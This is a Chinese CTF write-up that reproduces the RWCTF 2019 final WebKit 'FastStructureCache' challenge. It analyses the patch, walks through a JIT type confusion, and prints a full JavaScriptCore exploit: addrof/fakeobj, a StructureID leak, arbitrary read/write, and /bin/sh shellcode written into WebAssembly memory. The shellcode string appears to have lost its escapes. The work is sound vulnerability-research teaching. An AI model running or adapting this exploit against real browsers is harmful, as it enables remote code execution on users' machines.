Realworld ctf 2019 final webkit FastStructCache 复现

 

学习 Webkit 的漏洞利用,19年realworld ctf final 出了一道 webkit 的题目 FastStructCache, 这里记录一下复现的过程。

完整的漏洞利用链需要逃逸webkit的沙箱,我手上木有mac,虚拟机装mac测试又是各种的问题,各种倒腾之后放弃了后半部的沙箱逃逸的利用,暂时只做了前面 jsc 部分的利用分析,等什么时候搞台mac之后回过头来看 ?

 

环境配置

题目的原始文件可以从这里 下载,复现的环境是在 ubuntu 1804 下,

webkit 版本是 commit 5ed80f740ac7b67ca9ddc43aae401bacc685c5e4, 下载源码之后打上对应的patch然后编译出 jsc 就行了。但是我编译 debug 版本的时候跑不起来,会提示structureID 错误之类的,编译成Release版本就没有问题。调试用的 gdb

我自己复现用到的文件都放在了这里, 包括存在漏洞和没有漏洞的两个版本,主要是方便自己运行比较。

 

漏洞分析

patch 分析

好的,我们看看给出的patch, 题目在Source/JavaScriptCore/runtime 下新创建了两个文件FastStructureCache.cppFastStructureCache, 添加了一个名为FastStructureCache 的类

--- /dev/null
+++ b/Source/JavaScriptCore/runtime/FastStructureCache.cpp
@@ -0,0 +1,10 @@
+#include "FastStructureCache.h"
+
+namespace JSC {
+
+FastStructureCache::FastStructureCache(VM& vm, Structure* structure)
+    : JSNonFinalObject(vm, structure)
+{
+}
+
+}

这个类只有一个createStructureFastPath 方法, 初始化的时候会创建fastCacheSizeMax == 16Structure 对象,保存在fastCacheStructure 里面,后面每次调用createStructureFastPath 直接就从这个cache 里面拿一个,如果拿完了的话就用Structure::create 新创建一个。

--- /dev/null
+++ b/Source/JavaScriptCore/runtime/FastStructureCache.h
//...
+class FastStructureCache final : public JSNonFinalObject {
+public:
+    using Base = JSNonFinalObject;
+    static Structure** fastCacheStructure;
+    static uint64_t fastCacheSizeMax;
+    static uint64_t fastCacheSizeUsed;
+
+    static Structure* createStructureFastPath(VM& vm, JSGlobalObject* globalObject, JSValue prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo)
+    {    // 初始化 --> fastCacheSizeMax == 16
+        if (fastCacheStructure == NULL) {
+            fastCacheStructure = new Structure*[fastCacheSizeMax];
+            uint64_t idx = 0;
+            while (idx < fastCacheSizeMax) {
+                // Later, we will set the correct globalObject and prototype
+                fastCacheStructure[idx] = Structure::create(vm, globalObject, prototype, typeInfo, classInfo);
+                idx++;
+            }
+        }
+        if (fastCacheSizeUsed < fastCacheSizeMax) {
+            Structure* return_value = fastCacheStructure[fastCacheSizeUsed];
+            // set the correct global object and prototype
+            return_value->setPrototypeWithoutTransition(vm, prototype);
+            return_value->setGlobalObject(vm, globalObject);
+            fastCacheSizeUsed += 1;
+            return return_value;
+        }
+        return Structure::create(vm, globalObject, prototype, typeInfo, classInfo);
+    }
+
+protected:
+    FastStructureCache(VM&, Structure* structure);
+};

RegExpObjectRegExpPrototype 两个对象createStructure 都换成了用FastStructureCache::createStructureFastPath

--- a/Source/JavaScriptCore/runtime/RegExpObject.h
+++ b/Source/JavaScriptCore/runtime/RegExpObject.h
//...
 class RegExpObject final : public JSNonFinalObject {
 //...
static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype)
     {
-        return Structure::create(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info());
+        return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info());
     }

//........................................................................................
--- a/Source/JavaScriptCore/runtime/RegExpPrototype.cpp
+++ b/Source/JavaScriptCore/runtime/RegExpPrototype.cpp

+Structure** FastStructureCache::fastCacheStructure = NULL;
+uint64_t FastStructureCache::fastCacheSizeMax = 16;
+uint64_t FastStructureCache::fastCacheSizeUsed = 0;

//........................................................................................
--- a/Source/JavaScriptCore/runtime/RegExpPrototype.h
+++ b/Source/JavaScriptCore/runtime/RegExpPrototype.h

     static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype)
     {
-        return Structure::create(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info());
+        return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info());
     }

总的来说就是预先分配了16个 Structure 对象,RegExpPrototypeRegExpObject 要创建的时候可以从里面拿。

漏洞分析

漏洞就发生在FastStructureCache::createStructureFastPath 的实现上啦,在获取Structure 对象的时候, 直接用setPrototypeWithoutTransition 设置prototype

return_value->setPrototypeWithoutTransition(vm, prototype);
 return_value->setGlobalObject(vm, globalObject);

原版本的Structure::create 实现在Source/JavaScriptCore/runtime/StructureInlines.h#L39

inline Structure* Structure::create(VM& vm, JSGlobalObject* globalObject, JSValue prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingModeIncludingHistory, unsigned inlineCapacity)
{
    ASSERT(vm.structureStructure);
    ASSERT(classInfo);
    if (auto* object = prototype.getObject()) {
        ASSERT(!object->anyObjectInChainMayInterceptIndexedAccesses(vm) || hasSlowPutArrayStorage(indexingModeIncludingHistory) || !hasIndexedProperties(indexingModeIncludingHistory));
        object->didBecomePrototype();
    }

    Structure* structure = new (NotNull, allocateCell<Structure>(vm.heap)) Structure(vm, globalObject, prototype, typeInfo, classInfo, indexingModeIncludingHistory, inlineCapacity);
    structure->finishCreation(vm);
    return structure;
}

在创建的时候会检查传进来的 prototype 是不是一个对象,如果是的话,需要调用didBecomePrototype 给这个对象设置一个flags,表示它已经是某个对象的prototype 了,如a=[1.1] ; b = [1.1];a.__proto__ = b 的时候, b 就会调用didBecomePrototype , 它的实现如下:

//..  Source/JavaScriptCore/runtime/JSObjectInlines.h
inline void JSObject::didBecomePrototype()      
{                                               
    setPerCellBit(true);                        
}                                               
// Source/JavaScriptCore/runtime/JSCellInlines.h
inline void JSCell::setPerCellBit(bool value)                                       
{                                                                                   
    if (value == perCellBit())                                                      
        return;                                                                                                                                                 
    if (value)                                                                      
        m_flags |= static_cast<TypeInfo::InlineTypeFlags>(TypeInfoPerCellBit);      
    else                                                                            
        m_flags &= ~static_cast<TypeInfo::InlineTypeFlags>(TypeInfoPerCellBit);     
}
// Source/JavaScriptCore/runtime/JSTypeInfo.h
static constexpr unsigned TypeInfoPerCellBit = 1 << 7;

m_flagsJSCell 的 倒数第二个byte, 1<<7 = 0x80 如下面的0x0180170000001715 倒数第二个 byte 就是 0x80, 表示它可能是某个对象的prototype, 0x01001700000009e3 没有设置就不是啦。

0x7fffb26d8020: 0x01001700000009e3      0x00007fe0197f0208 
0x7fffb26d8030: 0x0180170000001715      0x00007fe0197fc5e8

FastStructureCache 初始化的时候都是使用的同一个prototype 来创建Stucture 对象, 后面要用的时候也是直接用setPrototypeWithoutTransition 来设置,并检查调用didBecomePrototype 的过程,所以假如还是一样a=[1.1] ; b = [1.1];a.__proto__ = b , 执行结束之后 b JSCell 的 m_flags 并不会|0x80, 后续运行就可能会打破一些假设。

RegExp Structure 创建过程

在看实际的利用之前,我们先看看 RegExpObjectStructure 的创建过程,具体的细节我还不是十分的清楚,只能记录一些自己觉得比较重要的点。

找一下RegExpObject::createStructureRegExpPrototype::createStructure 的调用点,发现他们只在Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L709 调用过

% grep -iR 'RegExpObject::create' *    
JSGlobalObject.cpp:    m_regExpStructure.set(vm, this, RegExpObject::createStructure(vm, this, m_regExpPrototype.get()));
RegExpConstructor.cpp:    return RegExpObject::create(vm, structure, regExp);
RegExpConstructor.cpp:        return RegExpObject::create(vm, structure, regExp);
% grep -iR 'RegExpPrototype::create' *    
JSGlobalObject.cpp:    m_regExpPrototype.set(vm, this, RegExpPrototype::create(vm, this, RegExpPrototype::createStructure(vm, this, m_objectPrototype.get())));
%

JSGlobalObject::init 初始化的时候,首先是调用RegExpPrototype::createStructure 这个时候FastStructureCache 完成初始化, 并返回fastCacheStructure[0], 保存在 m_regExpPrototype。 接着调用RegExpObject::createStructure, 执行完会返回fastCacheStructure[1]保存在 m_regExpStructure, 传入的prototype 参数是前面创建的m_regExpPrototype, create 完成之后, 并不会给它的prototype 设置setPerCellBit(true), 虽然它已经是RegExpObjectprototype

void JSGlobalObject::init(VM& vm){
m_objectPrototype.get()->didBecomePrototype();
//.....
m_regExpPrototype.set(vm, this, RegExpPrototype::create(vm, this, RegExpPrototype::createStructure(vm, this, m_objectPrototype.get()))); 
m_regExpStructure.set(vm, this, RegExpObject::createStructure(vm, this, m_regExpPrototype.get()));                                       
m_regExpMatchesArrayStructure.set(vm, this, createRegExpMatchesArrayStructure(vm, this));    
}

我们具体调试看看, 在FastStructureCache::createStructureFastPath 下个断点,跟一下内存

b FastStructureCache::createStructureFastPath

找到 FastCacheStructure 保存的地方,它是在 heap 内存上, 创建了 16 个 Structure 对象

pwndbg> vmmap 0x5555555a6960
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555594000     0x5555555b5000 rw-p    21000 0      [heap]
pwndbg> x/20gx 0x5555555a6960
0x5555555a6960: 0x00007fffb26f2060      0x00007fffb26f20d0
0x5555555a6970: 0x00007fffb26f2140      0x00007fffb26f21b0
0x5555555a6980: 0x00007fffb26f2220      0x00007fffb26f2290
0x5555555a6990: 0x00007fffb26f2300      0x00007fffb26f2370
0x5555555a69a0: 0x00007fffb26f23e0      0x00007fffb26f2450
0x5555555a69b0: 0x00007fffb26f24c0      0x00007fffb26f2530
0x5555555a69c0: 0x00007fffb26f25a0      0x00007fffb26f2610
0x5555555a69d0: 0x00007fffb26f2680      0x00007fffb26f26f0
0x5555555a69e0: 0x0000000000000000      0x000000000000e621
0x5555555a69f0: 0x0000000000000000      0x0000000000000000

第一次调用RegExpPrototype::createStructure , 会拿到第一个Structure, 也就是0x00007fffb26f2060 这个地址, 每个变量对应的位置可以看看Source/JavaScriptCore/runtime/Structure.h

pwndbg> x/20gx 0x00007fffb26f2060
0x7fffb26f2060: 0x0100000000002e74      0x0100170000007a64
                                     //m_globalObject
0x7fffb26f2070: 0x0000001c00000000      0x00007fffb26e0000
               //m_prototype
0x7fffb26f2080: 0x00007fffb26d8000      0x0000000000000000
0x7fffb26f2090: 0x0000000000000000      0x0000000000000000
               // m_classInfo
0x7fffb26f20a0: 0x00007ffff7d95b80      0x0000000000000001
0x7fffb26f20b0: 0x00007fffb26cc060      0x0000000000000003
0x7fffb26f20c0: 0x243e606800000074      0x0000000000000000
0x7fffb26f20d0: 0x0100000000002e74      0x0100170000007baa

创建的时候传递给RegExpPrototypeprototypem_objectPrototype, 它默认是设置了TypeInfoPerCellBit

pwndbg> x/20gx 0x00007fffb26d8000                                                                     
0x7fffb26d8000: 0x01801700000068d5      0x00007fe00dcf4088                                           
0x7fffb26d8010: 0x0188240100007056      0x00007fe00dcec208

然后是RegExpObject::createStructure , 它会拿到第二个Structure

pwndbg> x/20gx 0x00007fffb26f20d0
0x7fffb26f20d0: 0x0100000000002e74      0x0100170000007baa
                                    //m_globalObject
0x7fffb26f20e0: 0x0000002000000000      0x00007fffb26e0000
               //m_prototype
0x7fffb26f20f0: 0x00007fffb26d8020      0x0000000000000000
0x7fffb26f2100: 0x0000000000000000      0x0000000000000000
                //m_classInfo
0x7fffb26f2110: 0x00007ffff7d95b80      0x0000000000000001
0x7fffb26f2120: 0x0000000000000000      0x0000000000000003
0x7fffb26f2130: 0x00000000ffffffff      0x0000000000000000
0x7fffb26f2140: 0x0100000000002e74      0x0100170000007c6e
0x7fffb26f2150: 0x0000002000000000      0x00007fffb26e0000

看一下它的prototype 地址0x00007fffb26d8020 , 和我们分析的一样,它并没有设置TypeInfoPerCellBit

pwndbg> x/20gx 0x00007fffb26d8020
0x7fffb26d8020: 0x0100170000007a64      0x00007fe00dcf0208
0x7fffb26d8030: 0x0180170000008b3f      0x00007fe00dcfc5e8

后续创建RegExp 对象的时候都是使用一开始创建的这个Structure(0x7fffb26f20d0), 也就是FastCacheStructure[1], 其他的貌似不会用到,我也木有找到可以重新调用createStructure 的点,但是当前得到的信息已经足够了,我们继续看看怎么样利用

>>> a=new RegExp()
/(?:)/
>>> describe(a)
Object: 0x7fffb26e8100 with butterfly (nil) (Structure 0x7fffb26f20d0:[Object, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 53331

 

漏洞利用

18年的时候lokihardt 提交了一个Proxy 对象相关的洞,里面提到的一个漏洞利用的思路可以用到这道题目上面来。

jsc 的native对象不允许在prototype 上设置Proxy , 例如有一个对象a= [1.1,2.2], 然后执行a.__proto__=new Proxy({},{}), 这时候会调用JSObject::setPrototypeDirect 函数

void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
    ASSERT(prototype);
    // prototype == new Proxy({},{})
    if (prototype.isObject())
        prototype.asCell()->didBecomePrototype();

    if (structure(vm)->hasMonoProto()) {
        DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
        Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
        setStructure(vm, newStructure);
    } else
        putDirect(vm, knownPolyProtoOffset, prototype);

    if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
        return;

    if (mayBePrototype()) {
        structure(vm)->globalObject()->haveABadTime(vm);
        return;
    }

    if (!hasIndexedProperties(indexingType()))
        return;

    if (shouldUseSlowPut(indexingType()))
        return;

    switchToSlowPutArrayStorage(vm);
}

Proxy 对象会设置TypeInfoPerCellBit, 接着后面mayBePrototype() 会判断当前JSObject 是不是一个prototype , 例如a.__proto__.__proto__ = new Proxy({}, {}), 是的话会调用haveABadTime(), 具体实现在Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L1574 上, 它会找出对象的所有依赖,然后switchToSlowPutArrayStorage 都转换成ArrayWithSlowPutArrayStorage 类型

>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff84c8e4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 22114
>>> a.__proto__=new Proxy({},{})
[object Object]
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff84c8f8348 (Structure 0x7fffb26b0850:[Array, {}, ArrayWithSlowPutArrayStorage, Proto:0x7ffff2ac7f68, Leaf]), StructureID: 10472
>>>

结合我们前面的分析RegExpPrototype 并没有设置TypeInfoPerCellBit, 这样我们就可以在native 对象的prototype 创建一个Proxy 对象而不会触发转换成ArrayWithSlowPutArrayStorage 类型, 在有漏洞和没有漏洞版本的 jsc 的测试结果如下

无漏洞版本

>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179e4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 39579
>>> reg = new RegExp()
/(?:)/
>>> describe(reg)
Object: 0x7fffb26e8120 with butterfly (nil) (Structure 0x7fffb26f20d0:[RegExp, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 41496
>>> a.__proto__=reg
/(?:)/
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179e4008 (Structure 0x7fffb26f3e20:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 59375
>>> reg.__proto__.__proto__ = new Proxy({},{})
[object Object]
// 有依赖关系的 a 会被转换成 ArrayWithSlowPutArrayStorage 类型
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179fbe88 (Structure 0x7fffb26a7e20:[Array, {}, ArrayWithSlowPutArrayStorage, Proto:0x7fffb26e8120, Leaf]), StructureID: 61156
>>>

漏洞版本

>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 25564
>>> reg = new RegExp()
/(?:)/
>>> describe(reg) 
Object: 0x7fffb26e8120 with butterfly (nil) (Structure 0x7fffb26f20d0:[Object, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 27086
>>> a.__proto__=reg        
/(?:)/
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>> reg.__proto__.__proto__ = new Proxy({},{})
[object Object]
// 并没有转换成 ArrayWithSlowPutArrayStorage
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>>

在 dfg 中,当调用has 函数, 也就是0 in a 这样的时候,会进入case HasIndexedProperty, 代码在Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3842

    case HasIndexedProperty: {
        ArrayMode mode = node->arrayMode();
        switch (mode.type()) {
        case Array::Int32:
        case Array::Double:
        case Array::Contiguous:
        case Array::ArrayStorage: {
            break;
        }
        default: {
            clobberWorld();
            break;
        }
        }
        setNonCellTypeForNode(node, SpecBoolean);
        break;
    }

对于不是Int32, Double, Contiguous, ArrayStorage 的对象,如前面的ArrayWithSlowPutArrayStorage 类型,会有clobberWorld 来检查对象的转换,假如类似下面的代码,在has 函数里把b[0] 改成了一个对象,进入 dfg 之后因为之前的漏洞a 仍被认为是ArrayWithDouble 类型,不会调用clobberWorld, 然后 jsc 后面就会把 b[0] 当做一个double 类型来处理, 于是就有了地址泄露,同样的,我们也可以它来构造fakeobj

a= [1.1,2.2];
reg = new RegExp();
a.__proto__ = reg;
b = [1.1,2.2];
reg.__proto__.__proto__ =  new Proxy({}, { 
  has() {                                    
      b[0] = {};
    return true;
  }
});
//... --> in dfg
delete a[0];
let tmp = 0 in a;

addrof/fakeobj 构造

根据前面的分析,其实addroffakeobj 的构造思路已经有了,就是借助dfg 的时候的has函数形成一个类型混淆, 参考官方writeup 给出的 poc, 下面是我的实现

let arrays = [];
let regexp = new RegExp();
let leakme = [{}];
let jit_mode = 0;

var global_arr = [1.1, 2.2];

const MAX_ARRAYS = 100;
for (let i = 0; i < MAX_ARRAYS; i++) {
  arrays.push([1.1, 2.2]);
}
for (let i = 0; i < MAX_ARRAYS; i++) {
  arrays[i].__proto__ = regexp;
}

regexp.__proto__.__proto__ = new Proxy({}, {
  has() {
    if (jit_mode === 0) {
      global_arr[0] = leakme[0];
    }
    else if (jit_mode === 1) {
      global_arr[1] = {};
    }
    return true;
  }
});

首先创建100 个ArrayWithDouble 类型的对象,其prototype 都设置成regexp, 然后是 addrof 的实现

function addrof(obj){
    function leak_opt(arr, arr2) {
      let tmp = 0 in arr2;
      return [tmp, arr[0]];
    }
    jit_mode = 0;
    global_arr=[1.1,2.2];
    leakme[0]= obj;
    let arr = arrays.pop();
    for (let i = 0; i < 10000; i++) {
      leak_opt(global_arr, arr);
    }
    delete arr[0];
    return f2i(leak_opt(global_arr,arr)[1])
}

leak_opt 运行10000 次让它进入dfg, 传入前面创建的ArrayWithDouble 对象,delete arr[0] , 然后执行tmp = 0 in arr2; 的时候就会遍历arr 的prototype,然后调用到regexpProxy 对象,leakme[0] = obj , obj 是要泄露地址的对象,进入dfg 之后会执行global_arr[0] = leakme[0]; , 因为没有检查类型转换,所以可以直接从global_arr[0] 中读取出对象的地址。

fakeobj 的实现也是类似

function fakeobj(addr){
    function fake_opt(arr,arr2,fake_addr){
        let tmp = 0 in arr2;
        arr[1] =  fakeme;
        return tmp;
    }
    jit_mode = 1;
    global_arr = [1.1,2.2];
    let fakeme = i2f(addr);
    let arr = arrays.pop();
    for(let i=0;i<10000;i++){
        fake_opt(global_arr,arr,fakeme);
    }
    delete arr[0];
    fake_opt(global_arr,arr,fakeme);
    return global_arr[1];
}

传入一个地址,然后让fake_opt 进入dfg, dfg 里global_arr[1] 会被认为是一个对象,改成传入的地址之后就可以伪造对象啦。

StructureID randomize 绕过

addroffakeobj 构造完成之后,后续的利用基本上就都是套路了,网上找到很多利用代码,基本上就是伪造ArrayWithDouble 对象,然后改butterfly 到 任意地址读写。伪造ArrayWithDouble 对象需要一个可用的 StructureID, 之前的做法是喷一堆的ArrayWithDouble 对象,然后随机拿一个,刚好这个id 是可用的拿就完事了。

题目所用的webkit 版本加上了StructureID7-bit entropy , 简单来说就是 原先的StructureID 加上了 7个bit 的随机数,跟ASLR 类似,像前面运行的时候

>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>>

StructureID 是一个很大的数46253 == 0xb4ad , 最后七个 bit 是随机生成的, 这样要找可用的 id就变得更加的困难,但是1<< 7 == 128, 1/128 这个概率也不算很低,我们同样可以喷一堆的 ArrayWithDouble 对象,然后拿一个重复运行总会有命中的时候。

Blackhat EU 2019 上阿里的@ThomasKing2014 也讲了一个利用内置函数泄露StructureID 的方法

原理基本上就是并不是所有的内置函数都会用到 StructureID, 我们可以伪造这些函数用到的对象,控制它的执行流程。具体的实现如下,Function.prototype.toString.call 会打印出函数的源码, 伪造一个Function 对象,然后在获取函数名称的时候(function->name(vm))会找unlinked_function_executable.m_identifier, 我们把它指向了container+0x10 也就是我们伪造的function object, 它会在container.btfly 上获取函数名对应的字符串, 把它指向一个ArrayWithDouble 对象我们就可以泄露出它的StructureID

var arr_leak = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
function leakid(){
    var unlinked_function_executable = {
        m_isBuitinFunction: i2f(0xdeadbeef),
        pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
        m_identifier: {},
    };

    var fake_function_executable = {
      pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
      m_executable: unlinked_function_executable,
    };

    var container = {
      jscell: i2f(0x00001a0000000000),
      btfly: {},
      pad: 0,
      m_functionExecutable: fake_function_executable,
    };

    var fake_addr = addrof(container)+0x10;
    fake_o = fakeobj(fake_addr);
    unlinked_function_executable.m_identifier = fake_o; 
    container.btfly = arr_leak; 
    var name_str = Function.prototype.toString.call(fake_o);
    return name_str.charCodeAt(9); 

}

任意地址读写 -> 写wasm getshell

有了可用的StructureID 之后,后面就是 搞任意地址读写,然后写 wasm 的 rwx 段getshell 。这一部分的利用代码基本上都差不多,这里不再赘述,具体参考后面完整的exp

 

exp

var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)

var BASE32 = 0x100000000
function f2i(f) {
    f64[0] = f
    return i32[0] + BASE32 * i32[1]
}

function i2f(i) {
    i32[0] = i % BASE32
    i32[1] = i / BASE32
    return f64[0]
}

function hex(addr){
    return addr.toString(16);
}

let arrays = [];
let regexp = new RegExp();
let leakme = [{}];
let jit_mode = 0;

var global_arr = [1.1, 2.2];

const MAX_ARRAYS = 100;
for (let i = 0; i < MAX_ARRAYS; i++) {
  arrays.push([1.1, 2.2]);
}
for (let i = 0; i < MAX_ARRAYS; i++) {
  arrays[i].__proto__ = regexp;
}

regexp.__proto__.__proto__ = new Proxy({}, {
  has() {
    if (jit_mode === 0) {
      global_arr[0] = leakme[0];
    }
    else if (jit_mode === 1) {
      global_arr[1] = {};
    }
    return true;
  }
});

function addrof(obj){
    function leak_opt(arr, arr2) {
      let tmp = 0 in arr2;
      return [tmp, arr[0]];
    }
    jit_mode = 0;
    global_arr=[1.1,2.2];
    leakme[0]= obj;
    let arr = arrays.pop();
    for (let i = 0; i < 10000; i++) {
      leak_opt(global_arr, arr);
    }
    delete arr[0];
    return f2i(leak_opt(global_arr,arr)[1])
}

function fakeobj(addr){
    function fake_opt(arr,arr2,fake_addr){
        let tmp = 0 in arr2;
        arr[1] =  fakeme;
        return tmp;
    }
    jit_mode = 1;
    global_arr = [1.1,2.2];
    let fakeme = i2f(addr);
    let arr = arrays.pop();
    for(let i=0;i<10000;i++){
        fake_opt(global_arr,arr,fakeme);
    }
    delete arr[0];
    fake_opt(global_arr,arr,fakeme);
    return global_arr[1];
}



let a=[13.37,13.37];
a[0]={};
print(addrof(a).toString(16))
var arr_leak = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
function leakid(){
    var unlinked_function_executable = {
        m_isBuitinFunction: i2f(0xdeadbeef),
        pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
        m_identifier: {},
    };

    var fake_function_executable = {
      pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
      m_executable: unlinked_function_executable,
    };

    var container = {
      jscell: i2f(0x00001a0000000000),
      btfly: {},
      pad: 0,
      m_functionExecutable: fake_function_executable,
    };

    var fake_addr = addrof(container)+0x10;
    fake_o = fakeobj(fake_addr);
    unlinked_function_executable.m_identifier = fake_o; 
    container.btfly = arr_leak; 
    var name_str = Function.prototype.toString.call(fake_o);
    return name_str.charCodeAt(9); 

}

var victim=[13.37];
victim[0]=13.37;
victim['prop']=13.37;
victim['prop1']=13.37;
var id = leakid();

i32[0]=id;
i32[1]=0x01082307 -  0x20000;
var container={
    JSCell: f64[0],
    butterfly: victim,
};
container_addr = addrof(container);

hax = fakeobj(container_addr+0x10)
print(describe(container))

var unboxed = [1.1];
unboxed[0]=3.3;

var boxed = [{}];

print('-----')
print(describe(unboxed))
print(describe(boxed))
print('-----')
hax[1] = i2f(addrof(unboxed));
var shared = victim[1];
hax[1] = i2f(addrof(boxed))
victim[1] = shared;
print(describe(unboxed))
print(describe(boxed))



var stage2={
    addrof: function(obj){
        boxed[0]=obj;
        return f2i(unboxed[0])
    },
    fakeobj: function(addr){
        unboxed[0]=i2f(addr)
        return boxed[0]
    },
    read64:function(addr){
        hax[1]=i2f(addr+0x10)
        return this.addrof(victim.prop)
    },
    write64:function(addr,data){
        hax[1]=i2f(addr+0x10)
        victim.prop = this.fakeobj(data)
    },
    write: function(addr, shellcode) {
        var theAddr = addr;
        for(var i=0;i<shellcode.length;i++){
            this.write64(addr+i,shellcode[i].charCodeAt())
        }
    },
    pwn:function(){
        var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
        var wasm_mod = new WebAssembly.Module(wasm_code);
        var wasm_instance = new WebAssembly.Instance(wasm_mod);
        var f = wasm_instance.exports.main;
        var addr_f = this.addrof(f);
        var addr_p = this.read64(addr_f + 0x48);
        var addr_shellcode = this.read64(addr_p);
        print(hex(addr_f))
        print(hex(addr_shellcode))
        shellcode = "j;Xx99RHxbb//bin/shST_RWT^x0fx05"
        this.write(addr_shellcode, shellcode);
        f();
    },

};

stage2.pwn()

运行效果

运行效果如下

# ./jsc --useConcurrentJIT=false ./exp.js
7fffb26d8810
Object: 0x7fffb26e81e0 with butterfly (nil) (Structure 0x7fffb26709a0:[Object, {JSCell:0, butterfly:1}, NonArray, Proto:0x7fffb26d8000, Leaf]), StructureID: 38722
-----
Object: 0x7fffb261be40 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010]), StructureID: 31151
Object: 0x7fffb261be50 with butterfly 0x7fe01c1e0f48 (Structure 0x7fffb26f1dc0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb26d8010]), StructureID: 31267
-----
Object: 0x7fffb261be40 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010]), StructureID: 31151
Object: 0x7fffb261be50 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1dc0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb26d8010]), StructureID: 31267
7ffff2ad6bc8
7fffb2a05c00
# id
uid=0(root) gid=0(root) groups=0(root)
#

 

小结

jsc 层基本上就是把lokihardtCVE-2018-4438 复现了一遍,后半部分沙箱逃逸也是造了个洞,木有办法复现有点可惜 :(,具体可以参考官方的writeup

 

reference

https://zhuanlan.zhihu.com/p/96069221

https://github.com/vngkv123/aSiagaming/tree/master/Safari-JSC-FastStructureCache

https://github.com/5lipper/ctf/tree/master/rwctf19-final/FastStructureCache

https://bugs.chromium.org/p/project-zero/issues/detail?id=1649

(完)